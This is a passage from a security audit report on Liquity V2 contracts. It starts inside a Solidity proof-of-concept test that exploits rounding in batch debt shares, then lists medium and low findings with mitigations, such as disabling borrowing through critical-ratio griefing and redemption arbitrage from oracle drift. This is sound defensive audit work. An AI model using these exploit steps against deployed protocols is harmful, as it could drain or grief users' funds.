        LatestBatchData memory b4Batch = troveManager.getLatestBatchData(address(B));

        // TODO: Open A, Mint 1 extra (forgiven to A)
        _addOneDebtAndEnsureItDoesntMintShares(ATroveId, A); /// @audit MED impact | Skip of debt
assignment

        LatestBatchData memory afterBatch = troveManager.getLatestBatchData(address(B));

        assertEq(b4Batch.entireDebtWithoutRedistribution + 1,
afterBatch.entireDebtWithoutRedistribution, "Debt is credited to batch");

        // Closing A here will credit to B and Batch, that's ok but not enough

        LatestTroveData memory trove = troveManager.getLatestTroveData(BTroveId);
        uint256 bEntireDebtB4 = trove.entireDebt;

        vm.startPrank(A);
        collateralRegistry.redeemCollateral(bEntireDebtB4, 100, 1e18); // 2 debt, 1 share (hopefully)
        vm.stopPrank();

        uint256 sharesAfterRedeem = _getBatchDebtShares(BTroveId);
        assertEq(sharesAfterRedeem, 1, "Must be down to 1, rebased");

        // Verify B has 1 share, 2 debt
        LatestTroveData memory bAfterRedeem = troveManager.getLatestTroveData(BTroveId);
        assertEq(bAfterRedeem.entireDebt, 1, "Must be 1, Should be 2 for exploit"); // NOTE: it's one
because of the division on total shares

```

```

    closeTrove(A, ATroveId); // Close A (also remove from batch is fine)

    LatestTroveData memory afterClose = troveManager.getLatestTroveData(BTroveId);
    assertEq(afterClose.entireDebt, 2, "Becomes 2"); // Note the debt becomes 2 here because of the
round down on what A needs to repay

    // Figure out how we can get it to round as we want it to

    // NOTE: Repeteable block (note the + on the MIN_DEBT, we need to get a rounding error else we
won't skip on 1 share)
    uint256 anotherA = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT + 1, B,
MIN_ANNUAL_INTEREST_RATE);
    _logTroveAndBatch(B, BTroveId);
    _logTroveInBatch(anotherA);
    closeTrove(A, anotherA);
    _logTroveAndBatch(B, BTroveId);

    // Same as above
    anotherA = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B, MIN_ANNUAL_INTEREST_RATE);
    _logTroveAndBatch(B, BTroveId);
    _logTroveInBatch(anotherA);
    closeTrove(A, anotherA); /// But it's crediting those shares to us
    _logTroveAndBatch(B, BTroveId);
}

// Different POC
// Create the Rebase
// Re-instantiate the Trove

function _fibLoopNoChecks(uint256 amt) internal {
    uint256 anotherA = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B,
MIN_ANNUAL_INTEREST_RATE);
    _addDebtAndEnsureItDoesntMintShares(anotherA, A, amt);
    closeTrove(A, anotherA);
}

function _logTroveDebtMathComponents(address batch, uint256 troveId) internal {
    console2.log("_getLatestRecordedDebt", _getLatestRecordedDebt(batch));
    console2.log("_getTotalBatchDebtShares", _getTotalBatchDebtShares(batch));
    console2.log("_getBatchDebtShares", _getBatchDebtShares(troveId));

    _logTroveInBatch(troveId);
}

function _logTroveInBatch(uint256 troveId) internal {

    LatestTroveData memory troveData = troveManager.getLatestTroveData(troveId);
    console2.log("troveData debt", troveData.entireDebt);

    uint256 batchShares = _getBatchDebtShares(troveId);
    console2.log("batchShares", batchShares);
}

function _logTroveAndBatch(address batch, uint256 troveB) internal {
    console2.log("");
    console2.log("_logTroveAndBatch");
    // Log Batch Debt
    console2.log("_getLatestBatchDebt", _getLatestBatchDebt(batch));
    // Log all Batch shares
    console2.log("_getTotalBatchDebtShares", _getTotalBatchDebtShares(batch));

    _logTroveInBatch(troveB);
}

function _fibonacciLoop(uint256 amt) internal {

    // Open
    uint256 ATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B,
MIN_ANNUAL_INTEREST_RATE);

    LatestTroveData memory b4Add = troveManager.getLatestTroveData(ATroveId);

    // Add debt that won't be credited (fibonacci)
    _addDebtAndEnsureItDoesntMintShares(ATroveId, A, amt); // TODO: Needs to be made to scale

```



```
,  
,  
,  
,  
,  
,  
uint256 allBatchDebtShares) = troveManager.getBatch(batch);  
    return allBatchDebtShares;  
}  
}
```

## Mitigation

I'm still researching this finding

I currently would recommend adding a post-operation checks that asserts that the `_latestTroveData.entireDebt` matches the pre-computed debt



# M-04 Borrowing from branches can be disabled by one whale or early depositor

---

## Impact

---

Major changes in V2 include:

- 72% of interest raid paid out to SP stakers
- Inability to borrow new debt in RM

The logic can be seen in `_requireValidAdjustmentInCurrentMode`

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/BorrowerOps.sol#L1386>

```
function _requireValidAdjustmentInCurrentMode(
    TroveChange memory _troveChange,
    LocalVariables adjustTrove memory _vars
) internal view {
    /*
     * Below Critical Threshold, it is not permitted:
     *
     * - Borrowing
     * - Collateral withdrawal except accompanied by a debt repayment of at least the same value
     *
     * In Normal Mode, ensure:
     *
     * - The adjustment won't pull the TCR below CCR
     *
     * In Both cases:
     * - The new ICR is above MCR
     */
    _requireICRIsAboveMCR(_vars.newICR);

    if (_vars.isBelowCriticalThreshold) {
        _requireNoBorrowing(_troveChange.debtIncrease);
        _requireDebtRepaymentGeCollWithdrawal(_troveChange, _vars.price);
    } else {
        // if Normal Mode
        uint256 newTCR = _getNewTCRFromTroveChange(_troveChange, _vars.price);
        _requireNewTCRIsAboveCCR(newTCR);
    }
}
```

This opens up to a DOS by performing the following:

- Borrow as close as possible to CCR
- The interest rate of the next block will trigger RM, disallowing new borrows

This can be weaponized in the 2 following scenarios:

## Whale shuts down the branch

---

1. A Whale sees that another SP is providing more yield, to have no competition, they borrow at a cheap rate, and disable borrowing from the branch via the above
2. They stake in the other SP, and receive a higher interest than what they pay

## Initial Depositor disables the branch

---

At the earliest stages of the system, triggering CCR will be very inexpensive, as it will require very little debt and collateral

This could possibly be performed on all branches simultaneously, with the goal of making Liquity V2 unable to be bootstrapped

## Current Mitigation

---

Both scenarios are somewhat mitigated by Redemptions, with one key factor to keep in mind: the unprofitability to the redeemer

Redemptions charge a fee Based on oracle drift, the collateral redeemed may be worth more or less than what the oracle reports

Because of these factors, redemptions will be able to disarm the grief and restore  $TCR > CCR$  (in most cases), but this operation may be unprofitable to the redeemer whom will have to perform it just to be able to use the system

## Mitigation

---

I believe opening troves should be allowed during CCR, as long as they raise the TCR

Alternatively you could discuss with partners a strategy to seed BOLD with enough collateral to prevent any reasonable way to grief it, this technically will cost the partners their cost of capital

# M-05 Oracles with a Deviation Threshold above the Base Redemption Fee are subject to redemption arbitrage due to Oracle Drift

---

## Impact

---

This report aggregates the research I did around Oracle Drift Arbitrage

Anytime an oracle deviation threshold is higher than the Redemption Fees, arbitrage is opened

This arbitrage is purely due to the oracle not being updated and causes real losses to the Trove being redeemed (as they will incur rebalancing costs as well as opportunity costs)

## Redemption Risk

---

The fundamental risk with Redemptions is that the protocol will under price the value it will require, causing a direct loss to depositors

With the configuration of a 2% rETH to ETH feed we can imagine the following scenario:

- rETH underpegs below it's par value (rETH redemptions have no delay and will always be worth `getExchangeRate` ETH)
- The CL Oracle updates
- rETH resumes trading at a premium, but the change in price is below 2% (deviation threshold)
- The rETH Price Feed price remains depressed by slightly less than 2% against it's current market price
- Arbitrageurs spam redemptions (starting fee is 50 BPS) to trade BOLD for rETH with the goal of arbing it out
- The most likely path to the arbitrage is: `Swap(ETH, BOLD)`, `Redeem(BOLD, rETH)`, `Redeem(rETH, ETH)`

BOLD may upwards depeg a little due to the same mechanism, however the more meaningful loss will be to the borrowers that are using rETH as collateral They sold their rETH at Oracle Price + Redemption Premium But they will have to buy at the Market Price which is higher Meaning that they will have to lock-in a loss to gain back their rETH

## Rule of thumb

---

In general:

- Borrow and Mint <- Should under-price the asset (Require more, prevention against self-liquidations)
- Redemption <- Should over-price the asset (Give less, prevention against arbitrage)

Redemption fees should be higher than the oracle deviation threshold to prevent against this arbitrage

## Liquidity V2 Considerations

---

The following considerations are based on the code for the `CompositePriceFeed`

Upwards Depeg:

- Mitigated by Rate

Downwards Depeg:

- Not mitigated, opens up to Redemption arbitrage

That's a fundamental issue with the current implementation

From my POV we'd want a setup that does the following:

- Mitigates upwards depeg
- Mitigates downward depeg
- Changes during an exploit to use Market Price (downward depeg)































Those are fundamentally the ideal scenarios

I think a way to enforce this would be to use the Minimum between the Rate provided when it's within the expected deviation threshold (normal usage)

And when the price goes further below the deviation threshold, then that can be considered as a scenario in which rETH is compromised and as such will have to be further price downwards

## Scenarios for downward repricing

A key aspect that makes these scenarios less likely for now is the fact that rETH is always tied to ETH or ETH tied assets (RPL)

# ▲	Exchange		Pair	Price	Spread	+2% Depth
1	 PancakeSwap V3 (Ethereum)	DEX	RETH/WETH  	\$2,601.46	0.6%	\$50,549
2	 Balancer V2	DEX	RETH/RPL  	\$2,601.03	0.6%	\$35,915
3	 Uniswap V3 (Arbitrum One)	DEX	RETH/WETH  	\$2,596.07	0.6%	\$30,664
4	 Balancer V2	DEX	RETH/WEETH  	\$2,601.97	0.6%	\$24,677
5	 Aerodrome (Base)	DEX	RETH/WETH  	\$2,593.18	0.6%	\$25,068
6	 Uniswap V3 (Ethereum)	DEX	WSTETH/RETH  	\$2,601.71	0.6%	\$15,055
7	 Balancer V2 (Base)	DEX	RETH/WETH  	\$2,588.16	0.6%	\$8,987
8	 Balancer V2	DEX	WSTETH/RETH  	\$2,601.03	0.6%	\$6,519
9	 PancakeSwap V3 (Arbitrum)	DEX	RETH/WETH  	\$2,595.29	0.6%	\$4,825
10	 Balancer V2	DEX	WSTETH/RETH  	\$2,601.03	0.6%	\$6,857

This is something that could change (see stETH)

Lido Staked Ether <span>\$2,316.64</span> <span>▲ 1.3%</span>							
		Overview	Markets	News	Similar Coins	History	
Lido Staked Ether Markets							
Affiliate disclosures							
# ▲	Exchange		Pair	Price	Spread	+2% Depth	-2% Depth
1	OKX	CEX	STETH/ETH	\$2,316.96	0.01%	\$1,108,014	\$1,181,545
2	OKX	CEX	STETH/USDT	\$2,317.90	0.03%	\$2,349,486	\$2,356,213
3	BingX	CEX	STETH/USDT	\$2,317.53	0.02%	\$1,651,492	\$1,879,110
4	Bybit	CEX	STETH/USDT	\$2,316.84	0.02%	\$1,005,655	\$1,282,931
5	Deribit Spot	CEX	STETH/ETH	\$2,318.61	0.04%	\$419,726	\$956,086
6	Bitget	CEX	STETH/USDT	\$2,316.64	0.23%	\$595,157	\$1,092,695
7	Deribit Spot	CEX	STETH/USDC	\$2,317.11	0.09%	\$270,429	\$155,902
8	MEXC	CEX	STETH/USDT	\$2,318.74	0.08%	\$29,054	\$25,612
9	Uniswap V2 (Ethereum)	DEX	STETH/WETH	\$2,305.86	0.6%	\$88,719	\$88,453
10	BYDFI	CEX	STETH/USDT	\$2,322.34	0.49%	\$9,034	\$12,276

This change would influence the rETH/ETH deeply as it would increase the likelihood of it updating with a lower rETH/ETH ratio, which would open up to arbitrages

## Mitigation

- Apply the change I suggested (Requires simulation. mitigates the average case, has no impact in the worst case, slight complexity increase)
- Force a higher minimum redemption fee for rETH and the rest of the system (Requires simulation. Makes Bold soft peg more volatile)
- Accept that rETH can have this impact, actively advise people to exercise caution when leveraging up using rETH vs other Collaterals (Yolo)

## Additional Report

<https://gist.github.com/GalloDaSballo/8980ba5795cc6dd5e93e59dc5845c6d2/>

# M-06 Zappers and swaps can leave dust

---

## Executive Summary

---

Zapper can leave dust amounts under two conditions:

- Debt to repay is less than the amount -> Dust amount, QA in most cases
- Borrowed amount is more than enough to repay the flashloan -> Will result in a significant amount of WETH being stuck

The code snippets are listed below

Mitigation consists of checking against any dust amount and sweeping them to the user

## QA - Dust on Lever Down

---

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/Zappers/L185>

```
uint256 receivedBoldAmount =
    exchange.swapToBold(_effectiveFlashLoanAmount, _params.minBoldAmount, address(this));

// Adjust trove
borrowerOperations.adjustTrove(
    _params.troveId,
    _params.flashLoanAmount,
    false, // _isCollIncrease
    receivedBoldAmount, /// @audit could cause dust
    false, // _isDebtIncrease
    0
);
```

Will cause dust in the case in which `if (_troveChange.debtDecrease > maxRepayment) {`

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/BorrowerOperations/L595>

```
// When the adjustment is a debt repayment, check it's a valid amount and that the caller has
enough Bold
if (_troveChange.debtDecrease > 0) {
    uint256 maxRepayment = vars.trove.entireDebt > MIN_DEBT ? vars.trove.entireDebt - MIN_DEBT :
0;

    if (_troveChange.debtDecrease > maxRepayment) {
        _troveChange.debtDecrease = maxRepayment;
    }
    _requireSufficientBoldBalance(vars.boldToken, msg.sender, _troveChange.debtDecrease);
}
```

## MED - Left over from swaps are lost

```
borrowerOperations.adjustTrove(
    _params.troveId,
    _effectiveFlashLoanAmount, // flash loan amount minus fee
    true, // _isCollIncrease
    _params.boldAmount,
    true, // _isDebtIncrease
    _params.maxUpfrontFee
);

// Swap Bold to Coll
// No need to use a min: if the obtained amount is not enough, the flash loan return below won't
// be enough
// And the flash loan provider will revert after this function exits
// The frontend should calculate in advance the `_params.boldAmount` needed for this to work
exchange.swapFromBold(_params.boldAmount, _params.flashLoanAmount, address(this));
```

The swap will have sufficient amount to repay the WETH

But it could produce more than that, the remaining WETH would be stuck in the zapper (can be skimmed in some way by MEV bots)

### Repay

Since `repayBold` caps the amount to repay, but the transfer is done before

The amt transfered may be higher than what's necessary, leaving some bold stuck in the contract

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/Zappers/WETHL129>

```
function repayBold(uint256 _troveId, uint256 _boldAmount) external {
    address owner = troveNFT.ownerOf(_troveId);
    _requireSenderIsOwnerOrAddManager(_troveId, owner);

    // Pull Bold | /// @audit should be capped
    boldToken.transferFrom(msg.sender, address(this), _boldAmount);

    borrowerOperations.repayBold(_troveId, _boldAmount);
}
```

The amount will be capped here:

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/BorrowerOperationsL595>

```
if (_troveChange.debtDecrease > 0) {
    uint256 maxRepayment = vars.trove.entireDebt > MIN_DEBT ? vars.trove.entireDebt - MIN_DEBT :
0;

    if (_troveChange.debtDecrease > maxRepayment) {
        _troveChange.debtDecrease = maxRepayment;
    }
    _requireSufficientBoldBalance(vars.boldToken, msg.sender, _troveChange.debtDecrease);
}
```



# Q-01 Suggested Next Steps

---

## Executive Summary

---

During the review I went through all of the code at least 2 times

I did give a lot less priority to view functions (HintHelpers | MultiTrovegetter) and have not done a thorough additional pass on SortedTrove

I spent the vast majority of my time reading about BorrowerOperations and the TroveManager

And one of the findings took me close to a week to go from having to hunch to actually finding

## Major hurdles

---

### Batch accounting

I was able to demonstrate how rounding errors could be compounded to break the Batch Accounting

Due to this, I believe that the Batch Logic needs to be rewritten to mitigate any rebase risk, and to mitigate debt being forgiven from an individual Trove and socialized to a batch

In general the invariant that should never be broken is:

- Trove debt in batch == Trove debt outside of batch

With the  $\text{SUM}(\text{Trove Debts in Batch}) == \text{Batch Debt}$

Given how fairly well separated the batch accounting logic is, I would suggest isolating it into a base contract, that can be more rapidly tested, to ensure that rebasing it via user inputs is impossible

### Redemption Risks

During the review I highlighted multiple concerns tied to Redemptions and how Oracle Drift could be used to gain excess value via redemptions

I believe that this concern need to be further researched and that you should consider having a different price for redemptions as to avoid them being the "weak link" of the system

## Minor hurdles

---

Overall the code shows maturity in some areas, such as the core accounting, the liquidation and redemption logic and while an overflow was detected for the Stability Pool, I think the code for Pools is also pretty solid

However, other areas of the code, such as Aggregated Interest, Batches, the changes to Oracles, Redemptions and the Branch shutdowns feel like they would benefit by spending more time in polishing them via more documentation, better simulations and gas optimizations

## Suggested game plan

---

Barring any other major vulnerability I missed, you should focus on mitigating the Batch Accounting Logic and quantify the possible risks tied to Redemption Risks

From then you could perform some differential fuzzing / invariant testing and optimize the gas consumption of some of the code, as well as add an additional layer of polish + write documentation

I would then suggest an Audit or an Audit Contest

Followed up by a pre-launch / guarded-launch bug bounty

I believe that as of today the likelihood that I missed something or that some other bug would be introduced in mitigating the Batch Logic is pretty high, which leads me to suggest at least 2 additional security exercises before being confident in launching the system

## Q-02 Hypothetical Oracle Shutdown Risk

---

Given a certain deviation threshold, it may be possible to bring the system below CCR by that deviation threshold

This means that in case of additional volatility, the possibility of triggering a shutdown is higher than it may be intended

Fundamentally SCR as a spot metric is not necessarily a sound decision

It may be best to have SCR left for an hour before shutdown is completed

I agree with preventing unsafe minting, but I don't agree with preventing healthy, high CR borrows from being performed

## Q-03 Best to assert oracle decimals in constructor

---

### Impact

---

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/PriceFeeds/L36>

```
lstEthOracle.aggregator = AggregatorV3Interface(_lstEthOracleAddress);  
lstEthOracle.stalenessThreshold = _lstEthStalenessThreshold;  
lstEthOracle.decimals = lstEthOracle.aggregator.decimals();
```

Chainlink price feeds tend to have either 8 or 18 decimals

As to ensure that the decimals are the intended amount, you could add a simple assert in the constructor

## Q-04 Unclear comment around managers

---

### Impact

---

The code in `_openTrove` is as follows:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/BorrowerOperations.sol#L365>

```
// TODO: We can restore the condition for non-zero managers if we end up implementing at least
one of:
// - wipe them out on closing troves
// - do not reuse troveIds
// for now it is safer to make sure they are set
_setAddManager(vars.troveId, _addManager);
_setRemoveManagerAndReceiver(vars.troveId, _removeManager, _receiver);
```

Which asserts that the manager condition is maintained

It is unclear which condition should be maintained

as of now:

- An add manager can be added or not
- A remove manager can be set, if that's the only value set, then the owner is the `receiver`
- If the `receiver` is set then the `removeManager` must be set

Overall the code looks safe, the comment is confusing

## Q-05 Rounding in favour of users will cause slight inaccuracies over time

---

### Impact

Liquity V2 rounds in favour of the user in a few spots

-> Total Debt -> Reduces the average debt weight -> Charges slightly less over time

-> Batch Debt -> Increases the total debt sum -> Charges slightly higher over time

### QA - `aggBatchManagementFees` individual user discount will inflate the `getBoldDebt` over time

---

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L937>

```
_latestTroveData.aggBatchManagementFee =  
    _latestBatchData.aggBatchManagementFee * batchDebtShares / totalDebtShares;
```

`aggBatchManagementFee` calculation will truncate the value

Due to this rounding error some of the `aggBatchManagementFees` will never be paid by any depositor

Meaning that over time `aggBatchManagementFees` will grow toward infinity

This will reduce the impact of redemptions against the total bold supply

### QA - Rounding up creates ghost debt

---

`calcPendingAggInterest` rounds up the `aggWeightedDebtSum`

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/ActivePool.sol#L100>

```
return Math.ceilDiv(aggWeightedDebtSum * (block.timestamp - lastAggUpdateTime), ONE_YEAR *  
    DECIMAL_PRECISION);
```

But nobody will pay this since the interest calculation for individual troves rounds down the interest to be paid.

The ghost debt will reduce the average borrow rate

The ghost debt is expected to grow by 1 unit per accrual

e.g. 1 unit per block

At 100 years

$3155695200 / 12 = 262974600$  (262e6)

## Q-06 TroveManager can make troves liquidatable by changing the batch interest rate

---

### Impact

---

This is a finding to make a clear known risk more obvious

Users that add their Trove to a Batch are allowing the BatchManager to charge a lot of fees by simply adjusting the interest rate as soon as they can via `setBatchManagerAnnualInterestRate`

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/BorrowerOperations.sol#L948>

```
// Apply upfront fee on premature adjustments
if (
    batch.annualInterestRate != _newAnnualInterestRate
    && block.timestamp < batch.lastInterestRateAdjTime + INTEREST_RATE_ADJ_COOLDOWN
) {
    uint256 price = _requireOraclesLive();

    uint256 avgInterestRate =
activePoolCached.getNewApproxAvgInterestRateFromTroveChange(batchChange);
    batchChange.upfrontFee = _calcUpfrontFee(newDebt, avgInterestRate);
    _requireUserAcceptsUpfrontFee(batchChange.upfrontFee, _maxUpfrontFee);

    newDebt += batchChange.upfrontFee;

    // Recalculate the batch's weighted terms, now taking into account the upfront fee
    batchChange.newWeightedRecordedDebt = newDebt * _newAnnualInterestRate;
    batchChange.newWeightedRecordedBatchManagementFee = newDebt * batch.annualManagementFee;

    // Disallow a premature adjustment if it would result in TCR < CCR
    // (which includes the case when TCR is already below CCR before the adjustment).
    uint256 newTCR = _getNewTCRFromTroveChange(batchChange, price);
    _requireNewTCRIsAboveCCR(newTCR);
}
```

This change cannot result in triggering the critical threshold, however it can make any trove in the batch liquidatable

### Mitigation

---

Document that BatchManager should be considered benign trusted actors



# Q-07 Trove Adjustments may be grieved by sandwich raising the average interest rate

---

## Impact

---

B0 operations require accepting an upfront fee

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/BorrowerOperations.sol#L335>

```
_requireUserAcceptsUpfrontFee(_change.upfrontFee, _maxUpfrontFee);
```

This is effectively a percentage of the debt change (not necessarily of TCR due to price changes)

Due to this, it is possible for other ordinary operations to grief a Trove adjustments by changing the `avgInterestRate`

## Mitigation

---

It may be best to document this gotcha and to suggest using tight but not exact checks for the `_maxUpfrontFee`

## Q-08 Old Comments

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/TroveManager.sol#L711>

```
    /* Send _boldamount Bold to the system and redeem the corresponding amount of collateral from as
    many Troves as are needed to fill the redemption
    * request. Applies redistribution gains to a Trove before reducing its debt and coll.
    *
    * Note that if _amount is very large, this function can run out of gas, specially if traversed
    troves are small. This can be easily avoided by
    * splitting the total _amount in appropriate chunks and calling the function multiple times.
    *
    * Param `_maxIterations` can also be provided, so the loop through Troves is capped (if it's zero,
    it will be ignored). This makes it easier to
    * avoid OOG for the frontend, as only knowing approximately the average cost of an iteration is
    enough, without needing to know the "topology"
    * of the trove list. It also avoids the need to set the cap in stone in the contract, nor doing gas
    calculations, as both gas price and opcode
    * costs can vary.
    *
    * All Troves that are redeemed from -- with the likely exception of the last one -- will end up with
    no debt left, therefore they will be closed.
    * If the last Trove does have some remaining debt, it has a finite ICR, and the reinsertion could be
    anywhere in the list, therefore it requires a hint.
    * A frontend should use getRedemptionHints() to calculate what the ICR of this Trove will be after
    redemption, and pass a hint for its position
    * in the sortedTroves list along with the ICR value that the hint was found for.
    *
    * If another transaction modifies the list between calling getRedemptionHints() and passing the
    hints to redeemCollateral(), it
    * is very likely that the last (partially) redeemed Trove would end up with a different ICR than
    what the hint is for. In this case the
    * redemption will stop after the last completely redeemed Trove and the sender will keep the
    remaining Bold amount, which they can attempt
    * to redeem later.
    */
    function redeemCollateral(
```

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/ActivePool.sol#L141>

```
uint256 internal collBalance; // deposited ether tracker
```

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/StabilityPool.sol#L141>

```
uint256 internal collBalance; // deposited ether tracker
```

## Q-09 Unbackedness is a bit of an inaccurate way to reduce risk via redemptions

---

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/CollateralManager.sol#L131>

```
for (uint256 index = 0; index < totals.numCollaterals; index++) {
    ITroveManager troveManager = getTroveManager(index);
    (uint256 unbackedPortion, uint256 price, bool redeemable) =
        troveManager.getUnbackedPortionPriceAndRedeemability();
    prices[index] = price;
    if (redeemable) {
        totals.unbacked += unbackedPortion;
        unbackedPortions[index] = unbackedPortion;
    }
}
```

First of all:

- A whale can manipulate the unbackedness at any time
- Unbackedness is not a true measure of liquidation risk, TCR is

Lower TCR branches would benefit more by getting redeemed as redemptions raise the TCR for the branch when a Trove is healthy

## Q-10 Unbackedness manipulation may be profitable

---

### Impact

---

The code to determine the ratio at which to redeem collaterals is as follows:

<https://github.com/liquity/bold/blob/3ad11270a22190e77c1e8ef7742d2ebec133a317/contracts/src/CollateralL132>

```
for (uint256 index = 0; index < totals.numCollaterals; index++) {
    ITroveManager troveManager = getTroveManager(index);
    (uint256 unbackedPortion, uint256 price, bool redeemable) =
        troveManager.getUnbackedPortionPriceAndRedeemability();
    prices[index] = price;
    if (redeemable) {
        totals.unbacked += unbackedPortion;
        unbackedPortions[index] = unbackedPortion;
    }
}
```

Given certain conditions, we can have the following:

The cost of minting BOLD is X The redemption fee is Y The cost of swapping between the two LSTs is N The realised deviation threshold of an Oracle A and B is  $D > c + (X + Y + N)$  This can create a scenario where redemptions are not just a profitable arb (higher likelihood than this) But a scenario in which manipulating the unbackedness of a collateral makes the redemption even more profitable

### Napkin math

---

Anytime the Oracle Drift inaccuracy is higher than the sum of:

- Swap Fees
- Redemption Fee
- 7 days of interest of Debt that will be redeemed that is necessary to manipulate the unbackedness of branches

Then manipulating the unbackedness will be profitable

# Q-11 QA – Base Rate Decay may be slower than intended – Chaduke

---

## Note

---

This is an already known finding from ETHOS (Liquity Fork)

## Impact

---

`_calcDecayedBaseRate` calls `_minutesPassedSinceLastFeeOp` which rounds down by up to 1 minute - 1

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/Collateral/L228>

```
function _calcDecayedBaseRate() internal view returns (uint256) {
    uint256 minutesPassed = _minutesPassedSinceLastFeeOp();
    uint256 decayFactor = LiquityMath._decPow(REDEMPTION_MINUTE_DECAY_FACTOR, minutesPassed);

    return baseRate * decayFactor / DECIMAL_PRECISION;
}
```

This, in conjunction with the logic `_updateLastFeeOpTime`

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/Collateral/L189>

```
function _updateLastFeeOpTime() internal {
    uint256 timePassed = block.timestamp - lastFeeOperationTime;

    if (timePassed >= ONE_MINUTE) {
        lastFeeOperationTime = block.timestamp;
        emit LastFeeOpTimeUpdated(block.timestamp);
    }
}

function _minutesPassedSinceLastFeeOp() internal view returns (uint256) {
    return (block.timestamp - lastFeeOperationTime) / ONE_MINUTE;
}

// Updates the `baseRate` state with math from `_getUpdatedBaseRateFromRedemption`
function _updateBaseRateAndGetRedemptionRate(uint256 _boldAmount, uint256 _totalBoldSupplyAtStart)
internal {
    uint256
```

Will make the decay factor decay slower than intended

This finding was found in the ETHOS contest by Chaduke: <https://github.com/code-423n4/2023-02-ethos-findings/issues/33>

## Q-12 Stability Pool claiming and compounding Yield can be used to gain a slightly higher rate of rewards

---

### Impact

---

The StabilityPool doesn't automatically compound Bold yield gains to depositors

All deposits are added to `totalBoldDeposits`

Claimable yields are not part of `totalBoldDeposits`

Claiming bold allows to receive the corresponding yield and it does increase  
`totalBoldDeposits`

If we compare a deposit that never claims, against one that compound their claims

The depositor compounding their claims will technically receive the rewards that >> could <<  
have been received by the passive depositor

Meaning that claiming frequently is the preferred strategy

### Mitigation

---

Document this behaviour

## Q-13 Rounding Error for Batch in Trove can be used to flag a Trove as Unredeemable while having MIN\_DEBT or more

---

### Impact

---

The code for handling `unredeemable` troves after a redemption is as follows:

<https://github.com/liquity/bold/blob/6959eb503d12ad9b30bbdb787e220c1efbd5d761/contracts/src/TroveManager.sol#L674>

```
uint256 newDebt = _applySingleRedemption(_defaultPool, _singleRedemption, isTroveInBatch);

// Make Trove unredeemable if it's tiny, in order to prevent griefing future (normal,
sequential) redemptions
if (newDebt < MIN_DEBT) {
    Troves[_singleRedemption.troveId].status = Status.unredeemable;
    if (isTroveInBatch) {
        sortedTrove.removeFromBatch(_singleRedemption.troveId);
    } else {
        sortedTrove.remove(_singleRedemption.troveId);
    }
}
```

Where `newDebt` is computed in this way:

<https://github.com/liquity/bold/blob/6959eb503d12ad9b30bbdb787e220c1efbd5d761/contracts/src/TroveManager.sol#L543>

```
uint256 newDebt = _singleRedemption.trove.entireDebt - _singleRedemption.bolddLot;
```

Which is not accounting for how the Batch Shares math works

Due to rounding errors in `_updateBatchShares` 1 or more shares may not be removed from the Trove

Meaning that the Trove will have X debt redeemed, but `troveManager.getLatestTroveData` will report that it owes a slightly higher amount of debt

Due to this, it's possible to have a Trove be flagged as `unredeemable` while it has more than MIN\_DEBT

### POC

---

- Create a Batch
- Add a Trove to a Batch
- Rebase the Trove Shares via #40
- Add another Trove in the Batch
- Redeem this Trove to MIN\_DEBT - 1
- The actual amount of debt for this Trove will be higher due to rounding error
- The Trove will be set to `unredeemable` while having more than MIN\_DEBT

### Mitigation

---

Per other reports, the Batch accounting logic must be changed

This specific finding doesn't really require mitigation as the update can be undone by anybody via `applyPendingDebt`

## Q-14 `weightedRecordedDebt` update logic sometimes uses relative incorrect ratios while the absolute values are correct

### Executive Summary

Some changes to `weightedRecordedDebt` use relative values which are incorrect but the absolute changes are correct when updating a Trove in a Batch

### Impact

When updating a Trove in a batch, the `batch.entireDebtWithoutRedistribution` already includes the Trove debt

The logic in `TroveManager._liquidate` looks as follows:

<https://github.com/liquity/bold/blob/6959eb503d12ad9b30bbdb787e220c1efbd5d761/contracts/src/TroveManager.sol#L274>

```
if (isTroveInBatch) {
    singleLiquidation.oldWeightedRecordedDebt = /// @audit adding the debt again
        batch.weightedRecordedDebt + (trove.entireDebt - trove.redistBoldDebtGain) *
        batch.annualInterestRate;
    singleLiquidation.newWeightedRecordedDebt = batch.entireDebtWithoutRedistribution *
        batch.annualInterestRate; /// @audit not removing the debt
    // Mint batch management fee
    troveChange.batchAccruedManagementFee = batch.accruedManagementFee;
    troveChange.oldWeightedRecordedBatchManagementFee = batch.weightedRecordedBatchManagementFee
        + (trove.entireDebt - trove.redistBoldDebtGain) * batch.annualManagementFee;
    troveChange.newWeightedRecordedBatchManagementFee =
        batch.entireDebtWithoutRedistribution * batch.annualManagementFee;
    activePool.mintBatchManagementFeeAndAccountForChange(troveChange, batchAddress);
} else {
```

This also matches the logic in `_applySingleRedemption`

<https://github.com/liquity/bold/blob/6959eb503d12ad9b30bbdb787e220c1efbd5d761/contracts/src/TroveManager.sol#L554>

```
if (_isTroveInBatch) {
